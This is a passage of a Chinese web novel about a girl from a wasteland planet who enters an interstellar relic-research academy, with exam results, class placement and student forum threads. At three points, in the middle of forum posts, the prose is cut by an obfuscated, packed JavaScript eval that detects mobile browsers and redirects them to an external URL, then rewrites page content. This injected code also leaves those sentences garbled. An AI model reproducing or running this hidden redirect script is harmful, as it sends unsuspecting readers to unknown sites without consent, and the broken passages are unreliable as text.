荀玉调整状态，做好了再次捕捉那个声音的准备，经过漫长的等待后…… “？” 怎么什么也没有？ 荀玉疑惑地睁眼，和老师四目相对。 老师正在拿杯子的手一顿，“你结束了？” 荀玉：“？”这话难道不是应该我问老师你吗？ 手中的杯子拧开又拧紧，老师把她的信息录入光脑，“荀玉是吧，有源感力，直接去信息大楼。” “……哦，好的老师。”荀玉摸摸鼻子，没有将自己的疑问问出来。 通过观察，荀玉觉得自己的情况很可能和他人不一样，还是不要声张为好。 荀玉走后，老师对着检测仪看了又看，“奇了怪了，她怎么什么表情也没有？” 在使用检测仪的时候，绝大部分人不都是倍感压力的吗？ 学生信息大楼是闪着机械蓝光的科技大楼，荀玉跟着指引进到了独立报名室。 检测到有人进入房间，电脑屏幕自动亮起。 【请输入学生信息。】 【W217S##00000，荀玉。】 【正在检测中——检测成功，学生：W217S##00000——荀玉，源感力等级：D，符合入学条件。】 【以下是星际第一研究学院所开设的全部专业，请在仔细了解各个专业的前提下进行报名。文物专业将是伴随您一生的研究工作，请谨慎思考。】 专业代码与详细注释有足足二十余页，里面列满了报名该专业时可能面临的各种风险。 荀玉早在最初就确认好了自己要报名什么专业，她没有犹豫，坚定地输入自己的答案。 【W217S##00000——荀玉，报名专业：文物研究修复专业，未来就业将面向的是：文物修复师。请进行二次确认。】 【确认】 【报名成功！恭喜您，正式成为星际第一研究学院的一份子。】 【在面对痛苦、诱惑、死亡时，请记住，您身后站得不只是文物，还是人类最后的精神文化遗产。】 【您从此与人类文明，休戚与共。】 星一院的标识出现在屏幕正中间，手握文物的“人”背靠浩瀚星海，一叶扁舟就能抵挡来自太空的惊涛骇浪。 广袤无垠的星际宇宙中，时间和生命逐渐模糊，人类凭借文物来证明自己人类的身份，并制造出脱离人类掌控的未来。 15. 成绩 荀玉打开宿舍门的一瞬间，一度以为自己回到了两天前。 崔晗无措地站在旁边，姚瑶和陈昭文照旧在收拾床铺，但还是有什么不一样了。 听见荀玉回来，姚瑶放下手中的行李，双眼通红地看向她，眼底尽是茫然。 陈昭文对她扯出一个难看的笑容，“荀玉玉，你也过了是不是？” 荀玉沉默半晌，最后点点头：“嗯。” “那就好。”陈昭文低下头，强装开心，“你虽不说，但我知道你和晗晗肯定没问题。你能力那么强，没道理过不了。” 崔晗没有处理这种事情的经验，她扣着手指站在墙边，像犯错被罚站的孩子。 荀玉接过陈昭文手中的东西：“一起收拾吧。” 崔晗见状也赶紧上前帮忙。 一时间不算大的房间里只剩下窸窸窣窣收拾行李的声音。 “虽然我们相处的时间不长，但好歹也是为了考核一起流过汗的。要是你们真拿我们当朋友，以后就常联系，通讯账号躺在光脑里可不是摆设。”荀玉开玩笑道。 “当然了。说不定我一辈子只能认识你和晗晗两个文物研究院呢，这不得赶紧报好大腿。”陈昭文故作轻松，她不想因为她们的离开破坏了荀玉和崔晗的好心情。 姚瑶小声啜泣，“我本该在D星上一辈子都和文物无缘，是星一院给了我们尝试的机会。我早就应该明白我只是个普通人，不能心存幻想。可我……落差实在太大了，我已经很努力在劝说自己了，你们不要怪我呜呜呜……” 一生都被困在下等星球从没想过挣脱囚笼的无知愚民，和短暂接触过希望又被贬入尘埃，在以后两百年时光里一遍又一遍和囚笼确认自己无能平凡的普通人，说不上哪个更可悲。 崔晗轻轻抱住她，“不要害怕，人生不是只有一条出路。我们可是能活到二百岁，什么都有可能发生。 荀玉煞有介事地点头认同，“联邦进入文澜时代也不过才二百多年，第一批掌权者的时代都没结束呢。说不定下一个二百年就发生了翻天覆地的变化，到时候万一文物研究员这个身份成了一道催命符，想跑也跑不掉。” “呸呸呸，瞎说什么晦气话。”陈昭文顿时转移了注意力，“诅咒自己的话可不能乱说，万一应验了找谁哭去。” 姚瑶挂着眼泪的小脸紧绷：“嗯嗯，文文说得对，这种话不能随便乱讲。” 经过这一打岔，沉重的氛围明显有了好转。 学院安排的飞船已经停靠在中转站，光脑接连弹出消息催促要乘坐飞船的人赶紧汇合。 崔晗提着她们的行李，“怎么这么早？” “下等星球基本分布在星际一区的外围，路程比较远，再不走太晚回去会有危险。”陈昭文背上背包，第一个向外走去。 她和姚瑶的行李并不算多，两个人五个背包，几人拿起来绰绰有余。 荀玉落后一步出来，快速跟上。 和来时不同，中转站停着一座大型商用飞船，没有成功留在学院的学生正在缴费检票，那日在餐厅发生争执的25岁卡龄大高个赫然在列。 荀玉粗略一数，最终留下来的也不过几百人。 卫凌丰拿着检票器站在前面，“目的地。” “1883号D星。” “2315积分。” “滴”，两千积分就这么打了水漂。 那个学生一边哭着一边进了飞船。 “就到这里吧，前面你们也过不去了。”陈昭文艰难地说，她用力攥紧了手里的包，藏住了微微发抖的手指。 荀玉分别抱了抱陈昭文和姚瑶，“经常联系。” 姚瑶把头埋进荀玉的肩膀，“荀玉玉，晗晗，你们不要忘记我。” “当然。”崔晗眼眶泛红，轻轻地回应她。 陈昭文和姚瑶走向飞船，一大一小两个身影靠在一起，卫凌丰拿着检票器扫过她们的光脑。 “滴”。 陈昭文的肩膀开始颤抖，刚筑好的鸟巢有了坍塌的迹象。 一直在哭的姚瑶此刻背影挺直，她的手轻轻搭在陈昭文的肩膀上表示安抚。 那个看起来坚实的肩膀突然变得脆弱，陈昭文在情绪彻底失控之前冲进了飞船。 鸟巢塌了，从高处跌落下来，鸟巢里的幼鸟还没学会张开翅膀。 随着姚瑶最后一片衣角进入飞船里，荀玉收回视线，低声道：“走吧。” 她转身向学院走去，一如来时那样坚定。 回去后的荀玉和崔晗没有太多时间伤春悲秋，正式成为学院学生后她们需要搬到学生公寓。学生公寓二人一间，没有组好室友的学生按照班级进行随机分配。荀玉和崔晗分别将对方填进申请表，顺利分配到了宿舍。 星际一区时间下午三点，考核测试的成绩单正式公布。 评分标准一栏详则洋洋洒洒足有八百多字，除了个别细节跟荀玉推测的有些出入，总体上大差不差。 答题部分得分占比60%，地图推进得分占比40%。其中，根据个人行动轨迹、点亮地标的数量、收集信息的质量以及收集方法等等，每个人都因此额外加分或失分。当然，失分的情况占了绝大多数。 荀玉的总成绩是93.2，排名第四。因她收集的信息过于繁杂，错误信息含量过高，没有在一开始将其甄别出来反而被误导，成了一大失分点。但整个考核过程中，荀玉地图推进效率名列前茅，判断力、空间力、领导力十分卓越，决策果断，帮她拉回了分数。 崔晗成绩是91.5，排名第七。她在荀玉的提醒下避开了后半程的错误信息，但因此降低了地图推进率，得失参半。 不过荀玉和崔晗的答题得分都十分可观。 这份成绩单囊括了所有报名学生的成绩，姚瑶和陈昭文的成绩也在里面。姚瑶得分78.9，排名一百五十四；陈昭文得分73.6，排名二百零一。她们的成绩放在正式学院学生的排名里，也能处于中上游。 荀玉将成绩截图发在了她们的群聊里。 此时此刻星一院学生论坛。 【“专业指导之考核测试”成绩单新鲜出炉！】 【L1】：“卧槽，考核的时候没说会出这么一份成绩单啊。早知道会公开处刑，我就多考一点了，吊车尾很难看啊！！” 【L2】：“加一，我也在名单最后一页，悔不当初啊。” 【L3】：“这个评分细则，写这么麻烦是生怕有人看得懂吗？” 【L4】：“前面的规则我还能理解，那个错误信息含量过多为什么还扣分？我既然要点亮地图肯定是尽可能跑多得地方啊，我又不能提前预知哪个地方的信息是错的，凭什么扣我分？！” 【L5】：“我也发现了！这条标准真的很不合理！” …… 【L27】：“回复四楼，我和你在同一个点扣分了。但是我看了看我朋友的，他几乎收集了整个学院的绝大部分信息，可他在一开始就发现了信息是错误的，答题之前还把信息分门别类地整理了，这反而成了他的加分项。所以我猜测收集到错误信息并不会导致扣分，因为任务原因我们不可能避免这个问题，所以识别不出错误信息才是真正的扣分点。” 【L28】：“卧槽。” 【L29】：“卧槽。” 【L30】：“没人注意他的朋友几乎收集了所有的信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067706|149346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息吗？我两条腿跑断了也才推进了地图的一半。” 【L31】：“回复楼上，加一。” …… 【L77】：“那我手里明明没有错误信息得分也很低，这个情况怎么说？” 【L78】：“楼上你跑地图了没有？跑过地图的人不可能全是准确无误的信息。我后来复盘了一下错误信息覆盖率真的很高，平均每两个地方就有一条错误信息，不留意根本识别不出来。” 【L79】：“我当然跑地图了！……我只是挑着地方去的而已！” 【L80】：“非正当交易手段？你这不扣分才怪了。老师和规则是故意刺激大家走捷径的，你还真信了啊。你个人独立完成任务或者蹭个团队合作都会加分，这种小聪明统统都是扣分点。” 【L81】：“是的，我们就是临时组起来的团队，六七个人八百多个心眼，配合根本不默契，饶是这样我们也加分了。” 【L82】：“这场考核的宗旨就是激发学生的自主学习热情，更好地了解学院与文物研究工作，总之一切和正面、积极沾边的都会加分。” …… 【L111】：“呦，都是新鲜的学弟学妹们呀，学长来给你们送个消息。历年专业指导课程都是安排老师授课，你们知道今年为什么突然加了一场看起来没什么意义的考核测试吗？往年报名学生不听老师讲课是真，但你们以为弄场测试你们就什么都想学了？开什么玩笑？该不知道的还是不知道好吗。” 【L112】：“可恶，好像被讽刺了。” 【L113】：“我也有这种感觉，可是无力反驳。” 【L114】：“没了？？别卖关子啊学长，下文呢？！！” 【L115】：“别急，刚才喝水去了。学院突然加了一场测试，是用来调整分班结果的。先别担心！对一般学生来说是没有任何影响的。这场测试主要是用来给源感力等级较低、但是学习能力强的学生一个机会，让他们进入高一个等级的班级进行学习。” 【L116】：“我去，天降大饼。” 【L117】：“啊啊啊啊啊，又一次痛恨自己为什么不好好考试，一步登天的机会啊啊啊！” 【L118】：“想什么好事呢，你去了跟得上吗？源感力差一个等级就差了一个银河系，说不定这还算不上一个好事呢。” 【L119】：“虽然楼上说得没错，可是谁不想往高处走呢？虽然让我去我真的跟不上，我现在B班里都自身难保。” 【L120】：“捕捉到了一只B班的学姐！快来看，新鲜的大佬！” 【L121】：“不不不，真正的大佬都在A班呢，别这么喊我我可担不起。” …… 星一院根据源感力等级分为A、B、C、D四种班级，起始班级按照学生源感力进行分配。但班级成员并不是一成不变的，经过一学期学习后，成绩优异的低等班的学生可以申请跨班，转入高等班进行学习。连续两个学期成绩不合格，高等班的学生也会被劝退到低等班改变学习方向。 可以流动的班级制度大大提高了星一院学生的学习热情和竞争压力，但能够实现逆袭的学生却少之又少。 其实在荀玉看来，既然星一院已经实行了班级流动管理制度，那学生大可以在第一个学期之后进行跨班，这场考核发挥的作用并没有那么大，无非就是将跨班学习的进程提前了而已。 正翻着学生论坛的荀玉突然收到了一条通知。 【W217S##00000——荀玉，您的初始分班结果为：D2。因您的考核测试成绩优异，现在您可以申请跨班学习，请问您是否接受？】 16. 分班 “院长真决定推行这个政策吗？”一个老师拿着成绩单担忧地问道。 “十几年前实行流动制度的时候，院长的意思不就很明确了吗。现在只不过要将一切变得更加合理化罢了，让学生从一开始就对跨等级学习这个观念根深蒂固。”匡文婷不咸不谈地说。 “可是源感力等级的差异带来的又不只是观念的固化，实力的参差从一开始就摆在那里，这不是单靠努力就弥补的。”老师依然不认同。 “努力的人多了，奇迹自然就会发生。李老师，这个道理想必你比我更明白。”匡文婷不欲多说，拿上教案离开了办公室。 李老师默了默，想起自己的出身，长长叹了口气：“难啊。” 在星际联邦出人头地，跟痴心妄想没什么两样。 他继续整理学生信息，给为数不多符合条件的学生发去了跨班学习的通知。 …… 荀玉和崔晗搬到了二人宿舍。 【W217S##00000——荀玉，您的初始分班结果为：D2。因您的考核测试成绩优异，现在您可以申请跨班学习，请问您是否接受？】 这条信息静静躺在光脑里。 “晗晗，你收到分班通知了吗？”荀玉问。 “嗯？”崔晗茫然地抬头，“没有啊，不是说晚上出结果吗？” 荀玉心下了然，这是在进行第一次分班调整。 她点击了【确认】。 【根据您的个人能力测评与考核成绩，您可以选择进入B班或C班进行学习。请您根据自身实际情况，慎重选择。】 崔晗好奇地凑过来，“诶？” 她翻了一下学生论坛，“荀荀，只有你有两个选择诶，他们接到跨班通知的只能选择去高一个等级的班进行学习。” “是吗？”荀玉若有所思，选择了B班。 既然分班标准是源感力等级的高低，那么教学内容也必然会因此产生差异。她还记得联邦出台的政策上明确了入门等级也就是D级源感力的文物研究员从事基础性研究工作，也就是说源感力被判定为D级将很难有机会接触有关文物的核心研究。 在星一院流动管理的制度下，荀玉没有任何差错地从D班进入A班，至少需要两年的时间。联邦等级观念深入人心，两年只怕是最为乐观的结果。 现在荀玉有了一个更为省时省力的选择，她当然没有任何迟疑。 分布在学生公寓各处的学生都在讨论跨班通知，星一院论坛上也讨论得热火朝天。 收到通知的大部分学生选择了放弃，人更容易在同类人中获得安全感，他们不想在高等级班里显得格格不入。只有一小部分学生选择了接受。 荀玉从来不会被外界的声音影响，此时她更关注另一件事。 考核测试成绩单首行写着：晋伯扬，97.7，第一名。 成绩单最后一页最后一排写着：匡辛，11.1，第一千四百七十二名。 引人注目的名字和他们的实力皆有着居高不下的话题热度。 【L462】：“托他的福，我总算知道这一届报名星一院的学生一共有多少人了。” 【L463】：“人家的姓就是他挥霍的资本，你有什么？” 【L464】：“第一名也是几大家族之一的呀，怎么不见人家和他一样。” 【L465】：“歪个楼，他和晋砚清什么关系？阴暗窥探女一枚想知道。” 【L466】：“啊啊啊啊，我的国民男神，我要追随他一辈子！” 【L467】：“声明一下，我是男的，我不想嫁，可是他真的很值得信赖。” 【L468】：“呜呜，我的男神，誓死捍卫国民男神的荣光！” 【L469】：“誓死捍卫国民男神的荣光！” 【L470】：“我跟一个。” 【L471】：“我碰一个。” 荀玉：“……” 自从荀玉更换了新的光脑，有了更高的权限后，她的网速已然跟上了高度发达的星网。通过网民的不懈科普，与荀玉独立自主的搜索后，她已经知道了晋砚清就是在废星上的那个“小晋”。 荀玉谨慎地调查了未来星际的网民结构与晋砚清个人的粉丝群体，发现活跃度最高的那批网民只是晋砚清的颜粉罢了。 歪楼歪到了隔壁阿瑞斯行政区。 【L784】：“烦不烦，讨论正事呢，你们另开一个帖子去。” 【L785】：“同意。” 【L786】：“A级源感力人才向来稀缺，咱们星际一区都寥寥无几。你们知道晋伯扬和匡辛的实力吗？他们几乎到了A级的极限，是A级中的佼佼者。” 【L787】：“A级还分优劣吗？” 【L788】：“当然，文物研究院可以从B级到B＋，如果后天足够努力，也有超越B＋无限趋近于A级的可能性。A级源感力中也存在同样的情况，越是顶级的文物研究员，因源感力的参差造成实力上的差异就越明显。他们二人在天赋条件拉满的情况下，未来的成就简直难以想象，说不定还能验证S级进化论。” 【L789】：“他们的天赋实力我不否认，S级进化论就有点扯远了。从联邦进入文澜年代起，这个理论就伴随源感力登记制度的确定而一直存在。二百多年里名扬星际联邦的旷世奇才不是没有，他们的天赋条件和晋伯扬二人不相上下，也从没进化到真正意义上的S级。” 【L790】：“所以只有我想知道匡辛是怎么拿到十一分的吗？” …… 还能怎么拿的，躺宿舍睡觉呗。 考试系统也不知道抽了什么疯，蛮横地入侵了匡辛的光脑，用震死人不偿命的绝世音响把他给叫了起来。他顶着一脸“谁沾谁死”的表情，在所有简答题下填了“无”，重新昏睡过去。 此刻匡辛不胜其烦地将枕头盖在自己脑门上，键盘敲击的“哒哒”声如魔咒般穿透他的耳膜。他暴躁地起身，把脑袋上的枕头扔在桌前的人身上。 “晋伯扬你他妈有病是不是？” 正在撰写文物分析报告的晋伯扬平静地捡起地上的枕头，扔回了匡辛的床上。 他推了推鼻梁上的眼睛，不掺杂任何一点私人感情，“你今天有十七个小时都在睡觉，这不符合人类的正常作息。我认为良好的学习氛围能够有效帮助你更快适应学院生活，以免再次出现考核测试这样的情况。” “傻逼。” 匡辛散乱的每根碎发都在昭示心底的烦躁，他实在想不通星一院的宿舍分配制度到底是那个人才想出来的。 他明明在申请表上特别说明了他需要个人空间，结果晋伯扬单方面且在他看来有一丝侮辱性质的一厢情愿让局面直接失控。 他们早已知道自己的源感力等级，因此专业指导等一系列流程只是走个过场，匡辛两天前就住了学生公寓。 谁成想十几小时前晋伯扬提着行李敲响了匡辛宿舍大门，并扬言要和他交流学习、共同进步。 这在匡辛听来和他家那些老顽固放屁没什么区别，他当然想也不想就拒绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067707|149346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 晋伯扬看着为人正直、行为克制，手中的动作一点儿也不慢。 匡辛猛地关门的前一秒，晋伯扬用行李卡住木门，半个身子挤了进来。他不慌不忙亮出宿舍分配意向书，示意匡辛看签字人。 龙飞凤舞的“匡文婷”三个字与鲜红的学院印章相互呼应，像是正在对匡辛进行毫不掩饰的嘲讽。 匡辛：“……” 呵。 随后晋伯扬就名正言顺地住了进来，并用他的宝贝电脑对他发出了精神攻击。 看着晋伯扬眼镜之下呆板的死鱼眼，匡辛只觉拳头都硬了。 他翻了个身重新蒙进被子里。眼不见心不烦，他怕下一秒就把人给揍死了。 晋伯扬转过头，继续编辑文档。 他桌边的光脑停留在聊天界面上，对面的人发来消息：“你第一次独自离家上学，在外注意安全，平常多和大家走动走动。” “好的，堂哥。” …… 晚上八点，个人分班结果正式传送到每个人的光脑上。 荀玉没有任何意外地分到了文物研究修复专业的B班。崔晗源感力等级测定为A，她选择了文物文字研究修复专业。文物和文物文字两大专业的A班人数均过少，除了专门面向A班开设的课程之外，日常他们和各专业的B班一起上课。 布鲁斯的消息姗姗来迟。 【W158P*#766513】：“太空辐射？有就有呗，你以为你说出来他们会在意吗？别天真了，他们巴不得有朝一日痛快突然的死去呢。哦对了，你的老鼠。” 【W158P*#766513】：“图片.JPG” 【W158P*#766513】：“图片.JPG” 荀玉在临走前托付布鲁斯闲暇时替她去观察一下变异巨鼠的情况，以此为理由让他收下了上次转给他的一万积分。就在荀玉获得来自仲老巨额积分的当天，布鲁斯拒收了荀玉的转账，只留下了两瓶A级营养液，并回报给荀玉充满讽刺意味的二十秒语音。 【W158P*#766513】：“有点钱就跟人炫耀，你怎么不把自己剁剁喂给那群饿鬼呢。小小年纪，你的脑子被基因病吞噬了？看起来病得不轻。这笔钱你还是留着去星际医院吧，我店里可治不了你这种没脑子的人。” 荀玉：“……” 她发誓当时她只是想感谢布鲁斯对她的照顾，虽然很多情况下他都是“迫不得已”。荀玉并不是一个极致的理想主义者，拯救废星贱民、带领他们发家致富这种想法对她来说简直就是天方夜谭。 但布鲁斯的担忧不无道理，“匹夫无罪，怀璧其罪”。如果废星上的人知道一个孤苦无依的未成年小孩手握十万积分的巨款，荀玉不一定会安然度过在废星上剩下的日子。 好在荀玉离开废星前找到了让布鲁斯收下这笔积分的机会。那时还没有被上等星球高水平消费蹂躏的荀玉，并不知道，此后相当长的一段时间，她都将过上“为五斗米折腰”的励志人生。 …… 夜幕已至，今晚的人造星星格外明亮。 整整一天，文档终于敲下最后一个字。晋伯扬摘下眼镜，揉了揉发干的眼睛。 匡辛依旧如同死了一般，挺在被子里动也不动。 各年级学生已经归校，学院论坛正讨论得热火朝天，颇具才能的学生们通过蛛丝马迹整理出了一份完整的分班名单。 荀玉和崔晗正在洗漱，即将休息。 学生公寓灯火通明，欣欣向荣，新的一天即将开始。 17. 新学期 新学期第一天。 荀玉捧着新生优惠套餐吃得起劲，今天的早餐是一小碗清水面条和几根腌制的咸菜。 意志向来如钢铁般坚强的荀玉在一碗面条前留下了清澈的泪水，遂风卷残云，快如闪电。 崔晗默默将自己的那份推向荀玉那边，她……已经看饱了。 餐厅里各年级的学生三三两两聚在一起，讨论着开学事宜。 晋伯扬和匡辛依旧是话题中心，但重点已经从他们之间的对比，转变成了他们二人与其他四区学院新秀的比较。 争讨之间难免会上升到整个学院。 “拿鼻孔看人的阿瑞斯”，“文附院总是那么刻板教条、高人一等”，“平平无奇却又争强好胜的波特瓦尔”，“克洛蒂亚~研究中的贵族～”，学生们甚至连星一院也没放过，“猥琐发育”、“卑躬屈膝”等词信手拈来。 一番辩论，以“五院都不是什么好东西”这一震撼人心的结论而收尾。众人虽面红耳赤，却气血通畅，皆大欢喜。 荀玉：“……” 倒也不必。 崔晗悄悄绷紧了身体，她怎么觉得……学院的形象和爸爸讲得相差甚远？ 饭毕，荀玉和崔晗就地告别。 个人课表上显示的第一节课是“文物研究历史”，此外荀玉本学期还需要修“文物修复理论与实践”、“文物修复概论”、“正确认识文物与文物文字”、“文物鉴定纲要”以及“联邦政治思想与发展战略”、“星际第一行政区特别发展纲要”、“身体素质与能力建设”等课程。 荀玉心头一梗，“身体素质与能力建设”通俗来讲，不就是体育课吗？！ 她恶狠狠地关闭了课表，郁结地奔赴向新学期的旅途。 新生第一学年正是打基础的时候，所学知识以理论为主，晦涩难懂，抽象广泛。加之联邦明确表示，一名优秀的文物研究员不仅要技术过硬，还要政治正确。因此，思想建设课程与专业课程同等重要。 饶是和理论报告打过十几年交道的荀玉也很难应付得过来，未来星际关于文物的研究已经严重脱离了荀玉的理解范畴。总而言之，她现在和其他新生一样，一窍不通，算个文物小白。 此外，荀玉不仅需要学习专业知识，还要恶补星际联邦的常识。尽管有“贱民”这层身份加以掩护，可以将荀玉偶尔的迷茫无知合理化，但这并不是长久之计。 不懂装懂是一门极具技巧性与艺术性的学问，荀玉很难保证，在高强度学习下她还有精力应付未来星际的人类。 课程中午两节，下午三节，晚上荀玉还要带着问题马不停蹄去图书馆。一天下来，崔晗竟也见不上荀玉两面。 她们除了晚上回寝，能见面的时间只有在餐厅就餐的时候了。 崔晗用两只手的食指将盘子推到荀玉面前。 荀玉狼吞虎咽，“你不吃了？” 崔晗点点头：“嗯。” 她们高效而又功利的对话就此结束。 崔晗坐在荀玉对面，总是不禁游离，一个人怎么能这么热爱吃饭，未来星际的人类不是已经逐渐淘汰掉这个习惯了吗？ 而且……崔晗看向糊成一坨的面条，它也并不好吃啊。这碗面的味道甚至比不上最普通的营养液，荀玉却次次都吃，亳不浪费。 唔，新生优惠套餐里一碗面的价格是二十积分，一瓶营养液的价格是七十五积分，其实是这个原因吗？ 崔晗觉得自己找到了真相，开始思考可以默不作声帮助荀玉且不被她发现的办法，纠结地酒窝都变形了。 荀玉还在坚定地贯彻“光盘行动”，不浪费粮食是她向来遵守的铁则。 尤其经过废星几个月艰苦卓绝的条件后，这一行动准则更是被荀玉列为了个人“三大纲领”之一，重要地位显著提升。 荀玉观察过学院出餐现状，目前性价比最高的只有新生优惠套餐里的主食，由此可见其他的饭也无滋无味。好在她来者不拒，并不挑剔。 崔晗收回目光，暗自下定决心，以后有饭要多多留给荀荀！ 暂时手握小笔积分，只是没吃饱且不想浪费的荀玉：“？” 怎么回事？谁又产生了不该有的想法？ …… 闲暇时光总是短暂的，暗自吐槽过荀玉没有时间的崔晗很快也过上了脚不沾地的日子。 五区的文物研究学院向来没有给新生适应期的习惯，新生猛然面对如山似海的专业知识叫苦连天。相比之下，星一院在开学前进行为期两天的专业指导课程这一行为已格外仁慈。 期间荀玉还小小的火了一把。 事情发生在“文物修复理论与实践”这门课上，因任课老师有学生名单和具体信息，所以老师在讲述“文物修复师能否超越自己的能力跨级修复文物”时，特意拿荀玉举了例子。 这下A、B班的学生直接炸开了锅。 【震惊，A班竟有一名D级跨班学生！】 【L1】：“讲真，老师拿她举例子之前，我是真没想到有人居然有勇气选择直接和A班学习，一下给我砸懵了。不是说跨班只能跨一级吗？” 【L3】：“对啊，为什么只有她能直接跨到A班？她一个源感力D级和A班一起上课，也太滑稽了吧。” 【L9】：“我确认了，全校确实只有她是这种情况。那么问题来了，为什么只有她呢？她的运气也太好了吧！” 【L24】：“今年不是临时加了专业指导的考核测试吗，新生一入学就可以跨班学习，会不会……” 【L25】：“你说有这些变化是因为……她来了？” 【L26】：“卧槽！细思极恐。” 【L27】：“细思极恐。” 【L33】：“……可是没听说‘荀’这个姓有背景很硬的人啊，你们想多了吧。” 【L38】：“几大家族的人想隐藏身份是动动手指的事，怎么可能让你知道。和荀玉无关的话，那今年学院这些变动又怎么解释。” …… 【L88】：“哎呦卧槽，我看不下去了，一群蠢货。” 【L89】：“楼上，请文明用语，谢谢。” 【L90】：“说你们傻脑子里还真有泡。首先，荀玉人在B班，只是A、B班一起上课罢了。其次，考核测试的成绩不是还在论坛置顶吗，你们去翻翻荀玉的成绩和系统给出的个人评价。平心而论，我在学院学习一年了，也达不到她的能力。” 【L91】：“你们以为考核测试就简单的考得信息整合能力和答题能力吗？晋伯扬为什么能得第一，他对学院的了解程度绝对不亚于在学院任教多年的老师，考核测试对他来说易如反掌。你们知道荀玉从哪来吗？废星！联邦边陲，三区交界处的垃圾填埋场。大家大多出身于低级星球，当然能明白信息闭塞会导致一个人的眼界多么狭隘。荀玉出身的地方甚至只是一颗废星，她能在刚来学院的第一天将考核测试完成得堪称优秀，仅仅是运气好就能概括的吗？” 【L92】：“一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086080|149346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名文物研究员，源感力等级必然是立身之本，但思维方式、学习能力、应变与适应能力等等有任何一种品质不过关，也很难有长远的发展。不谈源感力，荀玉已经具备了文物研究员的必要特质。” 【L93】：“目前是什么情况？五院竞争，文附院强势吸纳人才，其他三区也不甘落后，星一院已经很多年没有挤进五院前列了。哪怕是这种情况，星一院依旧没有提高报名门槛，甚至顶住压力强硬给我们争取到了流动学习的机会。学院改革的决心如此强烈，新生纳入流动管理制度是必然的。你们享用了其他学院没有的庇护，却在此时谈论学院会和上等家族暗通款曲，把自己和学院置于何地？” 【L94】：“文物研究员源感力等级越高，社会资源和地位越是丰厚和尊贵，这是无数人趋之若鹜的原因。那剩下的那些文物研究员呢？他们不是窘迫困顿，就是受限于各区研究调配书。学院正是想改变这种情况，才会给没有太多天赋的我们一次又一次尝试。” 【L95】：“如今荀玉符合学院的条件，她能进入B班学习，不就是证明我们离变革的希望更近了一步吗？拿这个歪曲事实的帖子引战大可不必。” 【L96】：“楼上的言论让人醍醐灌顶。我悟了。” 【L107】：“说出了我想说的话！学院是学习的地方，咱们学院虽废胜在品格好，哪有这么多七弯八绕的事。” 【L110】：“突然被冒犯的星一院：女人，我得罪你了吗？？” …… 当事人荀玉并不知道学生论坛出现了一条专门为她而开的帖子，她正勤勤恳恳翻阅砖头厚的专业书。 其实荀玉看到这个帖子，可能都要想好一会儿他们在说什么。老师拿她举例子在她看来稀松平常，就像医学讲师手拿人体骨骼那样，例子越具体知识越立体。 崔晗抿抿嘴，不自然地绕过荀玉，打算趁她不注意将荀玉的光脑拿过来。 荀玉视线不离书本，她一把抓住崔晗，“干什么？” 崔晗没做过这么偷偷摸摸的事，她心跳如擂，结结巴巴，“玩……玩游戏，双人游戏。” 自诩内心是个成熟大人的荀玉压根没反应过来，从不玩游戏的崔晗这句话多么奇怪。 她松了手，崔晗顺利拿到光脑之后便远远地跑开了。 “对了，荀荀，全息模拟大楼马上要对新生开放了，你打算什么时候去？”崔晗动作僵硬地戳着光脑，假装自然地问道。 “全息模拟大楼？”荀玉隐约想起哪个老师在课堂上提过，一个月后对新生开放，“这跟学习任务无关吧？” 崔晗用力点点头，“对，是学院安排的实践活动。”这个屏蔽掉，这个也屏蔽掉。 “呼——”崔晗屏蔽完荀玉光脑上的评论，长舒了一口气，正打算放下，“？” 这是联邦最新款的限量版光脑？ “——” 荀玉光脑传来震动，崔晗无可避免的看到了来信。 “谁？”荀玉神色坦然。 “……仲老？”崔晗不确定地说。 “哦，是院长。”荀玉站起来接过光脑，转身坐回桌前时又停下来想了想，“一会儿你再玩游戏可以吗？” “啊？……好。” 崔晗声音听起来有些迷糊，荀玉自动代入玩不到游戏的失落，于是她再一次和崔晗保证：“回完消息我就把光脑给你。” 崔晗坐在床上，陷入了迷茫。 那以后有饭还要留给荀荀吗？ 18. 文物研究商城 源纹需通过文物研究员专用笔才能激活，并对篆刻材料有严格的要求。用普通写字笔在图纸上绘制源纹，不仅不会调动源感力运行，也和真正意义上的源纹相差甚远。 荀玉不知道自己少了绘制源纹最重要的工具，也没有人向她科普，她一直以为是自己能力尚未合格的缘故。在未来星际的人眼里，这种常识和人类需要补充能量一样弱智，实在没有单拎出来的必要。 【W082SAB41137】：“源纹没有被激发的原因有很多，大多数情况下是因为修复师操作不当，导致源纹绘制失败。” 【W082SAB41137】：“源纹生效是因为源纹本身能促进生物体内的Y—srdam源力基因分子与源感力结合，生物体只简单吃掉未被激发的源纹，是不会产生变化的。” 